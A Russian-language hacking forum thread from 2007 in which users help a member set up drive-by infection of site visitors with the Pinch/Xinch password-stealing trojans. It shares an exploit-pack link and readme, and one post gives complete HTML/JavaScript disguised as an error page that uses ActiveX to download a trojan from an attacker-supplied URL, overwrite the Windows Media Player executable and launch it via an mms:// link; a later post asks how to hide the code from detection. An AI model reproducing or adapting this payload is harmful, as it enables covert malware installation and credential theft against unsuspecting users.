А возможно ли???

Discussion in 'Болталка' started by *.exe, 10 Jan 2007.

  1. *.exe

    *.exe Elder - Старейшина

    Joined:
    8 Jan 2007
    Messages:
    66
    Likes Received:
    11
    Reputations:
    -4
    Всем привет =)

    Парни у меня возник вопрос:

    Cуществует ли в народе скрипт при попадании на него ЮЗВЕРЯ чтобы на его машину АВТОМАТОМ чтонибудь бы скачалось допустим Pinch или Xinch ???

    !!!зарание примного благодарен!!!
     
    #1 *.exe, 10 Jan 2007
  2. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,548
    Likes Received:
    1,397
    Reputations:
    612
    ога
    /thread30234.html
    =)
     
    #2 GreenBear, 10 Jan 2007
  3. blaga

    blaga Elder - Старейшина

    Joined:
    23 Mar 2006
    Messages:
    884
    Likes Received:
    273
    Reputations:
    106
    Есть еще Веб Атакер. Только он по моему все еще в привате.
     
    #3 blaga, 10 Jan 2007
  4. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    543
    Likes Received:
    274
    Reputations:
    51
    Тот каторый ты у меня спер с флешки пока я пьяный спал... :D
     
    #4 aka PSIH, 10 Jan 2007
  5. blaga

    blaga Elder - Старейшина

    Joined:
    23 Mar 2006
    Messages:
    884
    Likes Received:
    273
    Reputations:
    106
    =\ с диска
     
    #5 blaga, 10 Jan 2007
  6. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,118
    Reputations:
    1,139
    такой скрипт называется эксплоитом для браузера.
     
    #6 _Great_, 10 Jan 2007
  7. *.exe

    *.exe Elder - Старейшина

    Joined:
    8 Jan 2007
    Messages:
    66
    Likes Received:
    11
    Reputations:
    -4
    Парни я правильно понял ? или нет ?

    Этот сплойт необходимо разместить на хосте. и када ЮЗЕР на него зайдет к нему на машину скачается тот или иной файл да?
    Если я неправ плиз обьяснике =)
     
    #7 *.exe, 10 Jan 2007
  8. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    543
    Likes Received:
    274
    Reputations:
    51
    Почти, если его браузер подвержен этой уязвимости то жертве загрузиться твой exe
     
    #8 aka PSIH, 10 Jan 2007
  9. *.exe

    *.exe Elder - Старейшина

    Joined:
    8 Jan 2007
    Messages:
    66
    Likes Received:
    11
    Reputations:
    -4
    ок понятненько =)

    А ентот СТЛОЙТ на чем написан? на php или html хотя html наврятли помоему верно?

    Самый дырявый же у нас IE наскоко мне извесно, получается что и сплойт надыть для IE! но вот токо где взять такой сплойт?

    blaga а Веб Атакер это че тоже сплойт?
     
    #9 *.exe, 10 Jan 2007
  10. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    543
    Likes Received:
    274
    Reputations:
    51
    Смеешся?
    Green_Bear тебе дал ссылку на такой експлойт...
     
    #10 aka PSIH, 10 Jan 2007
  11. bobob

    bobob Member

    Joined:
    2 Jun 2006
    Messages:
    111
    Likes Received:
    69
    Reputations:
    -15
    а этот ехе запустится после того как скачается или нах тада такие сплойты?
     
    #11 bobob, 10 Jan 2007
  12. *.exe

    *.exe Elder - Старейшина

    Joined:
    8 Jan 2007
    Messages:
    66
    Likes Received:
    11
    Reputations:
    -4
    Блин ну почему сразу смеёшся =(
    Заходил я по ентой сылке проходит скока там минуда или 30 сек и выходит ОШИБКА =(
     
    #12 *.exe, 10 Jan 2007
  13. *.exe

    *.exe Elder - Старейшина

    Joined:
    8 Jan 2007
    Messages:
    66
    Likes Received:
    11
    Reputations:
    -4
    Усе норм сплойт нашел тут: ---> http://rapidshare.com/files/9520519/sploit.rar.html
    За сплойт всем пасибо!!!

    парни еще немнохо вопросиков =)

    Я тут в редми тыкался и чет никуя непонял некоторых вещей:

    HTML:
    Установка:
1) Скопируйте скрипты на сервер
2) Импортируйте sql.txt в mysql 
3) Пропишите настройки в файле inc\config.php
4) Пустите трафф на index.php

Описание:
index.php - скрипт-приемник траффа
load.php - сюда стучит лоадер
exe.php - отсюда лоадер скачивает "exe"
loader.exe - лоадер (замените своим)
rds.js - сплоит rds
FolderIcon.js - сплоит 0day
stat.php - страница статистики.
    HTML:
    Плиз обьясните:
2) Импортируйте sql.txt в mysql  

4) Пустите трафф на index.php <--- Как понять пустите траф?
     
    #13 *.exe, 10 Jan 2007
    Last edited: 10 Jan 2007
  14. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Пихаешь на сайт с хтмл файл index.html с содержанием :
    Code:
    <html>
<head>
<title>Error 404</title>
</head>
<body>
</body>
<p><span style="font-size: 11pt">Error 500</span></p>
<p><span style="font-size: 11pt">The page is incorrectly displayed</span></p>
<script language="javascript">
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "ПУТЬ ДО ПИНЧА ИЛИ КСИНЧА",0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("C:\\\\Program Files\\\\Windows Media Player\\\\wmplayer.exe",2);
location.href = "mms:%2f%2f";
</script>

</p>

</html>
    Где ПУТЬ ДО ПИНЧА ИЛИ КСИНЧА там пишешь путь до пинча или ксинча.
     
    #14 NOmeR1, 10 Jan 2007
  15. bobob

    bobob Member

    Joined:
    2 Jun 2006
    Messages:
    111
    Likes Received:
    69
    Reputations:
    -15
    ктото ответит на мой вопрос???

    пс. и еще вапрос ат навичьга, имха эта палевна такой код могут замедедь, чем скрыть сорз ???
     
    #15 bobob, 10 Jan 2007
  16. *.exe

    *.exe Elder - Старейшина

    Joined:
    8 Jan 2007
    Messages:
    66
    Likes Received:
    11
    Reputations:
    -4

    Примного благодарен СПС =)
    А вот вопросик: Действительно када трой скачается он автоматом запустится?
     
    #16 *.exe, 10 Jan 2007
  17. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Ответ в строчке :
    location.href = "mms://";
    Короче ДА.
     
    #17 NOmeR1, 10 Jan 2007
  18. bobob

    bobob Member

    Joined:
    2 Jun 2006
    Messages:
    111
    Likes Received:
    69
    Reputations:
    -15
    а через вин плеер, так бы и сказали сразу!
     
    #18 bobob, 11 Jan 2007
  19. *.exe

    *.exe Elder - Старейшина

    Joined:
    8 Jan 2007
    Messages:
    66
    Likes Received:
    11
    Reputations:
    -4
    Все парни всем большое спасибо за то что помогли разобратся!
    тему можно закрывать.
     
    #19 *.exe, 11 Jan 2007
(You must log in or sign up to post here.)